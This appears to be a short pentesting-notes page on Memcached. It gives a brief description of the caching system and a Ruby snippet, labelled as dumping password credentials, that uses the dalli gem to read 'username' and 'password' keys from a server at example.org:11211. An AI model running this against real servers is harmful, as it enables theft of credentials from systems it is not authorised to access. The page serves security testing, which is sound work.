Memcached
Memcached (pronounced variously mem-cash-dee or mem-cashed) is a general-purpose distributed memory-caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.
Ref. Wikipedia

Client

With dalli

Gem: dalli
Dump passwords credentials from Memcached:
1
require 'dalli'
2
3
options = { username: 'usertest', password: 'passwordtest' }
4
dc = Dalli::Client.new('example.org:11211', options)
5
6
usernames = dc.get('username')
7
puts "Usernames:\n#{usernames}"
8
9
passwords = dc.get('password')
10
puts "\nPasswords:\n#{passwords}"
Copied!
Last modified 5mo ago
Copy link